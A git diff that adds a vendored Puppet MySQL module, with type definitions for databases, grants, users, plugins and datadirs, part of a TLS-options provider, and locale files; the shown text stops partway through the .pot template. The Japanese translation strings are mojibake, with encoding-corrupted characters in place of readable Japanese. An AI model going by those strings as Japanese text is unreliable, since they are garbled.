self.class.cmd_user(@resource[:name]) + merged_tls_options = array.join(' AND ') + if ((mysqld_type == 'mysql' || mysqld_type == 'percona') && Puppet::Util::Package.versioncmp(mysqld_version, '5.7.6') >= 0) || + (mysqld_type == 'mariadb' && Puppet::Util::Package.versioncmp(mysqld_version, '10.2.0') >= 0) + self.class.mysql_caller("ALTER USER #{merged_name} REQUIRE #{merged_tls_options}", 'system') + else + self.class.mysql_caller("GRANT USAGE ON *.* TO #{merged_name} REQUIRE #{merged_tls_options}", 'system') + end + + (tls_options == array) ? (return true) : (return false) + end + + def self.parse_tls_options(ssl_type, ssl_cipher, x509_issuer, x509_subject) + if ssl_type == 'ANY' + ['SSL'] + elsif ssl_type == 'X509' + ['X509'] + elsif ssl_type == 'SPECIFIED' + options = [] + options << "CIPHER #{ssl_cipher}" if !ssl_cipher.nil? && !ssl_cipher.empty? + options << "ISSUER #{x509_issuer}" if !x509_issuer.nil? && !x509_issuer.empty? + options << "SUBJECT #{x509_subject}" if !x509_subject.nil? && !x509_subject.empty? + options + else + ['NONE'] + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_database.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_database.rb new file mode 100644 index 000000000..f8b940650 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_database.rb @@ -0,0 +1,24 @@ +Puppet::Type.newtype(:mysql_database) do + @doc = 'Manage MySQL databases.' + + ensurable + + autorequire(:file) { '/root/.my.cnf' } + autorequire(:class) { 'mysql::server' } + + newparam(:name, namevar: true) do + desc 'The name of the MySQL database to manage.' + end + + newproperty(:charset) do + desc 'The CHARACTER SET setting for the database' + defaultto :utf8 + newvalue(%r{^\S+$}) + end + + newproperty(:collate) do + desc 'The COLLATE setting for the database' + defaultto :utf8_general_ci + newvalue(%r{^\S+$}) + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_datadir.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_datadir.rb new file mode 100644 index 000000000..e49a41195 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_datadir.rb @@ -0,0 +1,34 @@ +Puppet::Type.newtype(:mysql_datadir) do + @doc = 'Manage MySQL datadirs with mysql_install_db OR mysqld (5.7.6 and above).' + + ensurable + + autorequire(:package) { 'mysql-server' } + + newparam(:datadir, namevar: true) do + desc 'The datadir name' + end + + newparam(:basedir) do + desc 'The basedir name, default /usr.' + newvalues(%r{^/}) + end + + newparam(:user) do + desc 'The user for the directory default mysql (name, not uid).' + end + + newparam(:defaults_extra_file) do + desc 'MySQL defaults-extra-file with absolute path (*.cnf).' + newvalues(%r{^/.*\.cnf$}) + end + + newparam(:insecure, boolean: true) do + desc 'Insecure initialization (needed for 5.7.6++).' + end + + newparam(:log_error) do + desc 'The path to the mysqld error log file (used with the --log-error option)' + newvalues(%r{^/}) + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_grant.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_grant.rb new file mode 100644 index 000000000..c8929d8dc --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_grant.rb @@ -0,0 +1,117 @@ +# This has to be a separate type to enable collecting +Puppet::Type.newtype(:mysql_grant) do + @doc = "Manage a MySQL user's rights." + ensurable + + autorequire(:file) { '/root/.my.cnf' } + autorequire(:mysql_user) { self[:user] } + + def initialize(*args) + super + # Forcibly munge any privilege with 'ALL' in the array to exist of just + # 'ALL'. This can't be done in the munge in the property as that iterates + # over the array and there's no way to replace the entire array before it's + # returned to the provider. + if self[:ensure] == :present && Array(self[:privileges]).count > 1 && self[:privileges].to_s.include?('ALL') + self[:privileges] = 'ALL' + end + # Sort the privileges array in order to ensure the comparision in the provider + # self.instances method match. Otherwise this causes it to keep resetting the + # privileges. + # rubocop:disable Style/MultilineBlockChain + self[:privileges] = Array(self[:privileges]).map { |priv| + # split and sort the column_privileges in the parentheses and rejoin + if priv.include?('(') + type, col = priv.strip.split(%r{\s+|\b}, 2) + type.upcase + ' (' + col.slice(1...-1).strip.split(%r{\s*,\s*}).sort.join(', ') + ')' + else + priv.strip.upcase + end + }.uniq.reject { |k| k == 'GRANT' || k == 'GRANT OPTION' }.sort! + end + # rubocop:enable Style/MultilineBlockChain + validate do + raise(_('`privileges` `parameter` is required.')) if self[:ensure] == :present && self[:privileges].nil? + raise(_('`privileges` `parameter`: PROXY can only be specified by itself.')) if Array(self[:privileges]).count > 1 && Array(self[:privileges]).include?('PROXY') + raise(_('`table` `parameter` is required.')) if self[:ensure] == :present && self[:table].nil? + raise(_('`user` `parameter` is required.')) if self[:ensure] == :present && self[:user].nil? + if self[:user] && self[:table] + raise(_('`name` `parameter` must match user@host/table format.')) if self[:name] != "#{self[:user]}/#{self[:table]}" + end + end + + newparam(:name, namevar: true) do + desc 'Name to describe the grant.' + + munge do |value| + value.delete("'") + end + end + + newproperty(:privileges, array_matching: :all) do + desc 'Privileges for user' + + validate do |value| + mysql_version = Facter.value(:mysql_version) + if value =~ %r{proxy}i && Puppet::Util::Package.versioncmp(mysql_version, '5.5.0') < 0 + raise(ArgumentError, _('PROXY user not supported on mysql versions < 5.5.0. Current version %{version}.') % { version: mysql_version }) + end + end + end + + newproperty(:table) do + desc 'Table to apply privileges to.' + + validate do |value| + if Array(@resource[:privileges]).include?('PROXY') && !%r{^[0-9a-zA-Z$_]*@[\w%\.:\-\/]*$}.match(value) + raise(ArgumentError, _('`table` `property` for PROXY should be specified as proxy_user@proxy_host.')) + end + end + + munge do |value| + value.delete('`') + end + + newvalues(%r{.*\..*}, %r{^[0-9a-zA-Z$_]*@[\w%\.:\-/]*$}) + end + + newproperty(:user) do + desc 'User to operate on.' + validate do |value| + # http://dev.mysql.com/doc/refman/5.5/en/identifiers.html + # If at least one special char is used, string must be quoted + # http://stackoverflow.com/questions/8055727/negating-a-backreference-in-regular-expressions/8057827#8057827 + # rubocop:disable Lint/AssignmentInCondition + # rubocop:disable Lint/UselessAssignment + if matches = %r{^(['`"])((?!\1).)*\1@([\w%\.:\-/]+)$}.match(value) + user_part = matches[2] + host_part = matches[3] + elsif matches = %r{^([0-9a-zA-Z$_]*)@([\w%\.:\-/]+)$}.match(value) + user_part = matches[1] + host_part = matches[2] + elsif matches = %r{^((?!['`"]).*[^0-9a-zA-Z$_].*)@(.+)$}.match(value) + user_part = matches[1] + host_part = matches[2] + else + raise(ArgumentError, _('Invalid database user %{user}.') % { user: value }) + end + # rubocop:enable Lint/AssignmentInCondition + # rubocop:enable Lint/UselessAssignment + mysql_version = Facter.value(:mysql_version) + unless mysql_version.nil? + raise(ArgumentError, _('MySQL usernames are limited to a maximum of 16 characters.')) if Puppet::Util::Package.versioncmp(mysql_version, '5.7.8') < 0 && user_part.size > 16 + raise(ArgumentError, _('MySQL usernames are limited to a maximum of 32 characters.')) if Puppet::Util::Package.versioncmp(mysql_version, '10.0.0') < 0 && user_part.size > 32 + raise(ArgumentError, _('MySQL usernames are limited to a maximum of 80 characters.')) if Puppet::Util::Package.versioncmp(mysql_version, '10.0.0') > 0 && user_part.size > 80 + end + end + + munge do |value| + matches = %r{^((['`"]?).*\2)@(.+)$}.match(value) + "#{matches[1]}@#{matches[3].downcase}" + end + end + + newproperty(:options, array_matching: :all) do + desc 'Options to grant.' + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_plugin.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_plugin.rb new file mode 100644 index 000000000..029220e18 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_plugin.rb @@ -0,0 +1,16 @@ +Puppet::Type.newtype(:mysql_plugin) do + @doc = 'Manage MySQL plugins.' + + ensurable + + autorequire(:file) { '/root/.my.cnf' } + + newparam(:name, namevar: true) do + desc 'The name of the MySQL plugin to manage.' + end + + newproperty(:soname) do + desc 'The name of the library' + newvalue(%r{^\w+\.\w+$}) + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_user.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_user.rb new file mode 100644 index 000000000..8a564edd6 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_user.rb @@ -0,0 +1,115 @@ +# This has to be a separate type to enable collecting +Puppet::Type.newtype(:mysql_user) do + @doc = 'Manage a MySQL user. This includes management of users password as well as privileges.' + + ensurable + + autorequire(:file) { '/root/.my.cnf' } + autorequire(:class) { 'mysql::server' } + + newparam(:name, namevar: true) do + desc "The name of the user. This uses the 'username@hostname' or username@hostname." + validate do |value| + # http://dev.mysql.com/doc/refman/5.5/en/identifiers.html + # If at least one special char is used, string must be quoted + # http://stackoverflow.com/questions/8055727/negating-a-backreference-in-regular-expressions/8057827#8057827 + mysql_version = Facter.value(:mysql_version) + # rubocop:disable Lint/AssignmentInCondition + # rubocop:disable Lint/UselessAssignment + if matches = %r{^(['`"])((?:(?!\1).)*)\1@([\w%\.:\-/]+)$}.match(value) + user_part = matches[2] + host_part = matches[3] + elsif matches = %r{^([0-9a-zA-Z$_]*)@([\w%\.:\-/]+)$}.match(value) + user_part = matches[1] + host_part = matches[2] + elsif matches = %r{^((?!['`"]).*[^0-9a-zA-Z$_].*)@(.+)$}.match(value) + user_part = matches[1] + host_part = matches[2] + else + raise ArgumentError, _('Invalid database user %{user}.') % { user: value } + end + # rubocop:enable Lint/AssignmentInCondition + # rubocop:enable Lint/UselessAssignment + unless mysql_version.nil? + raise(ArgumentError, _('MySQL usernames are limited to a maximum of 16 characters.')) if Puppet::Util::Package.versioncmp(mysql_version, '5.7.8') < 0 && user_part.size > 16 + raise(ArgumentError, _('MySQL usernames are limited to a maximum of 32 characters.')) if Puppet::Util::Package.versioncmp(mysql_version, '10.0.0') < 0 && user_part.size > 32 + raise(ArgumentError, _('MySQL usernames are limited to a maximum of 80 characters.')) if Puppet::Util::Package.versioncmp(mysql_version, '10.0.0') > 0 && user_part.size > 80 + end + end + + munge do |value| + matches = %r{^((['`"]?).*\2)@(.+)$}.match(value) + "#{matches[1]}@#{matches[3].downcase}" + end + end + + newproperty(:password_hash) do + desc 'The password hash of the user. Use mysql_password() for creating such a hash.' + newvalue(%r{\w*}) + + def change_to_s(currentvalue, _newvalue) + (currentvalue == :absent) ? 'created password' : 'changed password' + end + + # rubocop:disable Style/PredicateName + def is_to_s(_currentvalue) + '[old password hash redacted]' + end + # rubocop:enable Style/PredicateName + + def should_to_s(_newvalue) + '[new password hash redacted]' + end + end + + newproperty(:plugin) do + desc 'The authentication plugin of the user.' + newvalue(%r{\w+}) + end + + newproperty(:max_user_connections) do + desc 'Max concurrent connections for the user. 0 means no (or global) limit.' + newvalue(%r{\d+}) + end + + newproperty(:max_connections_per_hour) do + desc 'Max connections per hour for the user. 0 means no (or global) limit.' + newvalue(%r{\d+}) + end + + newproperty(:max_queries_per_hour) do + desc 'Max queries per hour for the user. 0 means no (or global) limit.' + newvalue(%r{\d+}) + end + + newproperty(:max_updates_per_hour) do + desc 'Max updates per hour for the user. 0 means no (or global) limit.' + newvalue(%r{\d+}) + end + + newproperty(:tls_options, array_matching: :all) do + desc 'Options to that set the TLS-related REQUIRE attributes for the user.' + validate do |value| + value = [value] unless value.is_a?(Array) + if value.include?('NONE') || value.include?('SSL') || value.include?('X509') + if value.length > 1 + raise(ArgumentError, _('`tls_options` `property`: The values NONE, SSL and X509 cannot be used with other options, you may only pick one of them.')) + end + else + value.each do |opt| + o = opt.match(%r{^(CIPHER|ISSUER|SUBJECT)}i) + raise(ArgumentError, _('Invalid tls option %{option}.') % { option: o }) unless o + end + end + end + def insync?(is) + # The current value may be nil and we don't + # want to call sort on it so make sure we have arrays + if is.is_a?(Array) && @should.is_a?(Array) + is.sort == @should.sort + else + is == @should + end + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/locales/config.yaml b/modules/services/unix/database/mysql_stretch_compatible/mysql/locales/config.yaml new file mode 100644 index 000000000..e3f7805bb --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/locales/config.yaml @@ -0,0 +1,26 @@ +--- +# This is the project-specific configuration file for setting up +# fast_gettext for your project. +gettext: + # This is used for the name of the .pot and .po files; they will be + # called .pot? + project_name: puppetlabs-mysql + # This is used in comments in the .pot and .po files to indicate what + # project the files belong to and should bea little more desctiptive than + # + package_name: puppetlabs-mysql + # The locale that the default messages in the .pot file are in + default_locale: en + # The email used for sending bug reports. + bugs_address: docs@puppet.com + # The holder of the copyright. + copyright_holder: Puppet, Inc. + # This determines which comments in code should be eligible for translation. + # Any comments that start with this string will be externalized. (Leave + # empty to include all.) + comments_tag: TRANSLATOR + # Patterns for +Dir.glob+ used to find all files that might contain + # translatable content, relative to the project root directory + source_files: + - './lib/**/*.rb' + diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/locales/ja/puppetlabs-mysql.po b/modules/services/unix/database/mysql_stretch_compatible/mysql/locales/ja/puppetlabs-mysql.po new file mode 100644 index 000000000..b3ace5f2b --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/locales/ja/puppetlabs-mysql.po @@ -0,0 +1,190 @@ +# +#, fuzzy +msgid "" +msgstr "" +"Project-Id-Version: PACKAGE VERSION\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2017-09-06T16:20:13+01:00\n" +"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" +"Last-Translator: Kojima Ai , 2017\n" +"Language-Team: Japanese (Japan) (https://www.transifex.com/puppet/teams/29089/ja_JP/)\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Language: ja_JP\n" +"Plural-Forms: nplurals=1; plural=0;\n" +"X-Generator: Translate Toolkit 2.0.0\n" + +#. ./manifests/bindings/client_dev.pp:12 +msgid "No MySQL client development package configured for %{os}." +msgstr "%{os}å‘ã‘ã«è¨­å®šã•れãŸMySQLクライアント開発パッケージã¯ã‚りã¾ã›ã‚“。" + +#. ./manifests/bindings/daemon_dev.pp:12 +msgid "No MySQL daemon development package configured for %{os}." +msgstr "%{os}å‘ã‘ã«è¨­å®šã•れãŸMySQLデーモン開発パッケージã¯ã‚りã¾ã›ã‚“。" + +#. ./manifests/bindings.pp:38 +msgid "" +"::mysql::bindings::java cannot be managed by puppet on %{osfamily} as it is " +"not in official repositories. Please disable java mysql binding." +msgstr "" +"::mysql::bindings::javaã¯ã€å…¬å¼ãªãƒªãƒã‚¸ãƒˆãƒªã§ã¯ãªã%{osfamily}ã«ã‚ã‚‹ãã®ã¾ã¾ã®çŠ¶æ…‹ã§ã¯ã€Puppetã«ã‚ˆã‚‹ç®¡ç†ã¯ã§ãã¾ã›ã‚“。java" +" mysqlãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã‚’無効ã«ã—ã¦ãã ã•ã„。" + +#. ./manifests/bindings.pp:40 +msgid "" +"::mysql::bindings::php does not need to be managed by puppet on %{osfamily} " +"as it is included in mysql package by default." +msgstr "" +"::mysql::bindings::phpã¯ã€%{osfamily}上ã«ãƒ‡ãƒ•ォルトã§MySQLパッケージã«å«ã¾ã‚ŒãŸçŠ¶æ…‹ã®ã¾ã¾ã€Puppetã§ç®¡ç†ã™ã‚‹å¿…è¦ã¯ã‚りã¾ã›ã‚“。" + +#. ./manifests/bindings.pp:42 +msgid "" +"::mysql::bindings::ruby cannot be managed by puppet on %{osfamily} as it is " +"not in official repositories. Please disable ruby mysql binding." +msgstr "" +"::mysql::bindings::rubyã¯ã€å…¬å¼ãªãƒªãƒã‚¸ãƒˆãƒªã§ã¯ãªã%{osfamily}ã«ã‚ã‚‹ãã®ã¾ã¾ã®çŠ¶æ…‹ã§ã¯ã€Puppetã«ã‚ˆã‚‹ç®¡ç†ã¯ã§ãã¾ã›ã‚“。ruby" +" mysqlãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã‚’無効ã«ã—ã¦ãã ã•ã„。" + +#. ./manifests/params.pp:124 +msgid "" +"Unsupported platform: puppetlabs-%{module_name} currently doesn't support " +"%{os}." +msgstr "サãƒãƒ¼ãƒˆå¯¾è±¡å¤–ã®ãƒ—ラットフォーム: puppetlabs-%{module_name}ã¯ã€ç¾åœ¨%{os}をサãƒãƒ¼ãƒˆã—ã¦ã„ã¾ã›ã‚“" + +#. ./manifests/params.pp:381 +msgid "" +"Unsupported platform: puppetlabs-%{module_name} currently doesn't support " +"%{osfamily} or %{os}." +msgstr "" +"サãƒãƒ¼ãƒˆå¯¾è±¡å¤–ã®ãƒ—ラットフォーム: " +"puppetlabs-%{module_name}ã¯ã€ç¾åœ¨%{osfamily}ã¾ãŸã¯%{os}をサãƒãƒ¼ãƒˆã—ã¦ã„ã¾ã›ã‚“" + +#. ./manifests/params.pp:465 +msgid "" +"Unsupported platform: puppetlabs-%{module_name} only supports RedHat 5.0 and" +" beyond." +msgstr "サãƒãƒ¼ãƒˆå¯¾è±¡å¤–ã®ãƒ—ラットフォーム: puppetlabs-%{module_name}ã¯ã€RedHat 5.0以é™ã®ã¿ã‚’サãƒãƒ¼ãƒˆã—ã¦ã„ã¾ã™" + +#. ./manifests/server/backup.pp:28 +msgid "" +"The 'prescript' option is not currently implemented for the %{provider} " +"backup provider." +msgstr "'prescript'オプションã¯ã€ç¾åœ¨ã€%{provider}ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—プロãƒã‚¤ãƒ€å‘ã‘ã«ã¯å®Ÿè£…ã•れã¦ã„ã¾ã›ã‚“。" + +#. ./manifests/server.pp:48 +msgid "" +"The `old_root_password` attribute is no longer used and will be removed in a" +" future release." +msgstr "`old_root_password`属性ã¯å»ƒæ­¢äºˆå®šã§ã‚りã€ä»Šå¾Œã®ãƒªãƒªãƒ¼ã‚¹ã§å»ƒæ­¢ã•れã¾ã™ã€‚" + +#. metadata.json +#: .summary +msgid "Installs, configures, and manages the MySQL service." +msgstr "MySQLサービスをインストールã€è¨­å®šã€ç®¡ç†ã—ã¾ã™ã€‚" + +#. metadata.json +#: .description +msgid "MySQL module" +msgstr "MySQLモジュール" + +#: ./lib/puppet/parser/functions/mysql_deepmerge.rb:22 +msgid "" +"mysql_deepmerge(): wrong number of arguments (%{args_length}; must be at " +"least 2)" +msgstr "mysql_deepmerge(): å¼•æ•°ã®æ•°ãŒæ­£ã—ãã‚りã¾ã›ã‚“(%{args_length}; 2以上ã«ã™ã‚‹å¿…è¦ãŒã‚りã¾ã™)" + +#: ./lib/puppet/parser/functions/mysql_deepmerge.rb:30 +msgid "" +"mysql_deepmerge: unexpected argument type %{arg_class}, only expects hash " +"arguments." +msgstr "mysql_deepmerge: 予期ã›ã¬å¼•数タイプ%{arg_class}ã§ã™ã€‚想定ã•れる引数ã¯ãƒãƒƒã‚·ãƒ¥å¼•æ•°ã®ã¿ã§ã™ã€‚" + +#: ./lib/puppet/parser/functions/mysql_dirname.rb:9 +msgid "" +"mysql_dirname(): Wrong number of arguments given (%{args_length} for 1)" +msgstr "mysql_dirname(): 指定ã•れãŸå¼•æ•°ã®æ•°ãŒæ­£ã—ãã‚りã¾ã›ã‚“(%{args_length}ã¯1)" + +#: ./lib/puppet/parser/functions/mysql_password.rb:11 +msgid "" +"mysql_password(): Wrong number of arguments given (%{args_length} for 1)" +msgstr "mysql_password(): 指定ã•れãŸå¼•æ•°ã®æ•°ãŒæ­£ã—ãã‚りã¾ã›ã‚“(%{args_length}ã¯1)" + +#: ./lib/puppet/parser/functions/mysql_strip_hash.rb:11 +msgid "mysql_strip_hash(): Requires a hash to work." +msgstr "mysql_strip_hash(): 動作ã™ã‚‹ã«ã¯ãƒãƒƒã‚·ãƒ¥ãŒå¿…è¦ã§ã™ã€‚" + +#: ./lib/puppet/provider/mysql_datadir/mysql.rb:24 +msgid "Defaults-extra-file %{file} is missing." +msgstr "Defaults-extra-file %{file}ãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“" + +#: ./lib/puppet/provider/mysql_datadir/mysql.rb:59 +msgid "ERROR: `Resource` can not be removed." +msgstr "ERROR: `Resource`を削除ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚" + +#: ./lib/puppet/provider/mysql_grant/mysql.rb:19 +msgid "#mysql had an error -> %{inspect}" +msgstr "#mysqlã«ã‚¨ãƒ©ãƒ¼ãŒã‚りã¾ã—㟠-> %{inspect}" + +#: ./lib/puppet/provider/mysql_user/mysql.rb:125 +msgid "Only mysql_native_password (*ABCD..XXX) hashes are supported." +msgstr "mysql_native_password (*ABCD...XXX)ãƒãƒƒã‚·ãƒ¥ã®ã¿ã‚µãƒãƒ¼ãƒˆã•れã¦ã„ã¾ã™ã€‚" + +#: ./lib/puppet/type/mysql_grant.rb:34 +msgid "`privileges` `parameter` is required." +msgstr "`privileges` `parameter`ãŒå¿…è¦ã§ã™ã€‚" + +#: ./lib/puppet/type/mysql_grant.rb:35 +msgid "`privileges` `parameter`: PROXY can only be specified by itself." +msgstr "`privileges` `parameter`: PROXYã¯è‡ªèº«ã§æŒ‡å®šã™ã‚‹ã“ã¨ã®ã¿å¯èƒ½ã§ã™ã€‚" + +#: ./lib/puppet/type/mysql_grant.rb:36 +msgid "`table` `parameter` is required." +msgstr "`table` `parameter`ãŒå¿…è¦ã§ã™ã€‚" + +#: ./lib/puppet/type/mysql_grant.rb:37 +msgid "`user` `parameter` is required." +msgstr "`user` `parameter`ãŒå¿…è¦ã§ã™ã€‚" + +#: ./lib/puppet/type/mysql_grant.rb:39 +msgid "`name` `parameter` must match user@host/table format." +msgstr "`name` `parameter`ã¯user@host/tableã®å½¢å¼ã¨ä¸€è‡´ã—ã¦ã„ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚" + +#: ./lib/puppet/type/mysql_grant.rb:57 +msgid "" +"PROXY user not supported on mysql versions < 5.5.0. Current version " +"%{version}." +msgstr "PROXYユーザã¯mysql 5.5.0以å‰ã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ã¯ã‚µãƒãƒ¼ãƒˆã•れã¦ã„ã¾ã›ã‚“。ç¾åœ¨ã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³%{version}" + +#: ./lib/puppet/type/mysql_grant.rb:67 +msgid "" +"`table` `property` for PROXY should be specified as proxy_user@proxy_host." +msgstr "PROXYã®`table` `property`ã¯proxy_user@proxy_hostã¨ã—ã¦æŒ‡å®šã•れã¦ã„ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚" + +#: ./lib/puppet/type/mysql_grant.rb:96 ./lib/puppet/type/mysql_user.rb:29 +msgid "Invalid database user %{user}." +msgstr "無効ãªãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã®ãƒ¦ãƒ¼ã‚¶%{user}" + +#: ./lib/puppet/type/mysql_grant.rb:102 ./lib/puppet/type/mysql_user.rb:34 +msgid "MySQL usernames are limited to a maximum of 16 characters." +msgstr "MySQLユーザåã¯æœ€å¤§16文字ã«åˆ¶é™ã•れã¦ã„ã¾ã™ã€‚" + +#: ./lib/puppet/type/mysql_grant.rb:103 ./lib/puppet/type/mysql_user.rb:35 +msgid "MySQL usernames are limited to a maximum of 32 characters." +msgstr "MySQLユーザåã¯æœ€å¤§32文字ã«åˆ¶é™ã•れã¦ã„ã¾ã™ã€‚" + +#: ./lib/puppet/type/mysql_grant.rb:104 ./lib/puppet/type/mysql_user.rb:36 +msgid "MySQL usernames are limited to a maximum of 80 characters." +msgstr "MySQLユーザåã¯æœ€å¤§80文字ã«åˆ¶é™ã•れã¦ã„ã¾ã™ã€‚" + +#: ./lib/puppet/type/mysql_user.rb:82 +msgid "" +"`tls_options` `property`: The values NONE, SSL and X509 cannot be used with " +"other options, you may only pick one of them." +msgstr "" +"`tls_options` `property`: " +"NONEã€SSLã€X509ã¯ä»–ã®ã‚ªãƒ—ションã¨åŒæ™‚ã«ä½¿ç”¨ã™ã‚‹ã“ã¨ã¯ã§ãã¾ã›ã‚“。ã„ãšã‚Œã‹1ã¤ã®ã¿é¸æŠžå¯èƒ½ã§ã™ã€‚" + +#: ./lib/puppet/type/mysql_user.rb:87 +msgid "Invalid tls option %{option}." +msgstr "無効ãªtlsオプション%{option}" diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/locales/puppetlabs-mysql.pot b/modules/services/unix/database/mysql_stretch_compatible/mysql/locales/puppetlabs-mysql.pot new file mode 100644 index 000000000..da8f458bf --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/locales/puppetlabs-mysql.pot @@ -0,0 +1,176 @@ +"Project-Id-Version: puppetlabs-mysql 3.11.0-50-gd122d86\n" +"\n" +"Report-Msgid-Bugs-To: docs@puppet.com\n" +"POT-Creation-Date: 2017-09-14 14:21+0100\n" +"PO-Revision-Date: 2017-09-14 14:21+0100\n" +"Last-Translator: FULL NAME \n" +"Language-Team: LANGUAGE \n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n" + +#. metadata.json +#: .summary +msgid "Installs, configures, and manages the MySQL service." +msgstr "" + +#. metadata.json +#: .description +msgid "MySQL module" +msgstr "" + +#. ./manifests/bindings/client_dev.pp:12 +msgid "No MySQL client development package configured for %{os}." +msgstr "" + +#. ./manifests/bindings/daemon_dev.pp:12 +msgid "No MySQL daemon development package configured for %{os}." +msgstr "" + +#. ./manifests/bindings.pp:38 +msgid "" +"::mysql::bindings::java cannot be managed by puppet on %{osfamily} as it is " +"not in official repositories. Please disable java mysql binding." +msgstr "" + +#. ./manifests/bindings.pp:40 +msgid "" +"::mysql::bindings::php does not need to be managed by puppet on %{osfamily} " +"as it is included in mysql package by default." +msgstr "" + +#. ./manifests/bindings.pp:42 +msgid "" +"::mysql::bindings::ruby cannot be managed by puppet on %{osfamily} as it is " +"not in official repositories. Please disable ruby mysql binding." +msgstr "" + +#. ./manifests/params.pp:124 +msgid "" +"Unsupported platform: puppetlabs-%{module_name} currently doesn't support " +"%{os}." +msgstr "" + +#. ./manifests/params.pp:381 +msgid "" +"Unsupported platform: puppetlabs-%{module_name} currently doesn't support " +"%{osfamily} or %{os}." +msgstr "" + +#. ./manifests/params.pp:465 +msgid "" +"Unsupported platform: puppetlabs-%{module_name} only supports RedHat 5.0 and " +"beyond." +msgstr "" + +#. ./manifests/server/backup.pp:28 +msgid "" +"The 'prescript' option is not currently implemented for the %{provider} " +"backup provider." +msgstr "" + +#. ./manifests/server.pp:48 +msgid "" +"The `old_root_password` attribute is no longer used and will be removed in a " +"future release." +msgstr "" + +#: ./lib/puppet/parser/functions/mysql_deepmerge.rb:22 +msgid "" +"mysql_deepmerge(): wrong number of arguments (%{args_length}; must be at " +"least 2)" +msgstr "" + +#: ./lib/puppet/parser/functions/mysql_deepmerge.rb:30 +msgid "" +"mysql_deepmerge: unexpected argument type %{arg_class}, only expects hash " +"arguments." +msgstr "" + +#: ./lib/puppet/parser/functions/mysql_dirname.rb:9 +msgid "mysql_dirname(): Wrong number of arguments given (%{args_length} for 1)" +msgstr "" + +#: ./lib/puppet/parser/functions/mysql_password.rb:11 +msgid "" +"mysql_password(): Wrong number of arguments given (%{args_length} for 1)" +msgstr "" + +#: ./lib/puppet/parser/functions/mysql_strip_hash.rb:11 +msgid "mysql_strip_hash(): Requires a hash to work." +msgstr "" + +#: ./lib/puppet/provider/mysql_datadir/mysql.rb:24 +msgid "Defaults-extra-file %{file} is missing." +msgstr "" + +#: ./lib/puppet/provider/mysql_datadir/mysql.rb:59 +msgid "ERROR: `Resource` can not be removed." +msgstr "" + +#: ./lib/puppet/provider/mysql_grant/mysql.rb:19 +msgid "#mysql had an error -> %{inspect}" +msgstr "" + +#: ./lib/puppet/provider/mysql_user/mysql.rb:125 +msgid "Only mysql_native_password (*ABCD...XXX) hashes are supported." +msgstr "" + +#: ./lib/puppet/type/mysql_grant.rb:34 +msgid "`privileges` `parameter` is required." +msgstr "" + +#: ./lib/puppet/type/mysql_grant.rb:35 +msgid "`privileges` `parameter`: PROXY can only be specified by itself." +msgstr "" + +#: ./lib/puppet/type/mysql_grant.rb:36 +msgid "`table` `parameter` is required." +msgstr "" + +#: ./lib/puppet/type/mysql_grant.rb:37 +msgid "`user` `parameter` is required." +msgstr "" + +#: ./lib/puppet/type/mysql_grant.rb:39 +msgid "`name` `parameter` must match user@host/table format." +msgstr "" + +#: ./lib/puppet/type/mysql_grant.rb:57 +msgid "" +"PROXY user not supported on mysql versions < 5.5.0. Current version " +"%{version}." +msgstr "" + +#: ./lib/puppet/type/mysql_grant.rb:67 +msgid "" +"`table` `property` for PROXY should be specified as proxy_user@proxy_host." +msgstr "" + +#: ./lib/puppet/type/mysql_grant.rb:96 ./lib/puppet/type/mysql_user.rb:29 +msgid "Invalid database user %{user}." +msgstr "" + +#: ./lib/puppet/type/mysql_grant.rb:102 ./lib/puppet/type/mysql_user.rb:34 +msgid "MySQL usernames are limited to a maximum of 16 characters." +msgstr "" + +#: ./lib/puppet/type/mysql_grant.rb:103 ./lib/puppet/type/mysql_user.rb:35 +msgid "MySQL usernames are limited to a maximum of 32 characters." +msgstr "" + +#: ./lib/puppet/type/mysql_grant.rb:104 ./lib/puppet/type/mysql_user.rb:36 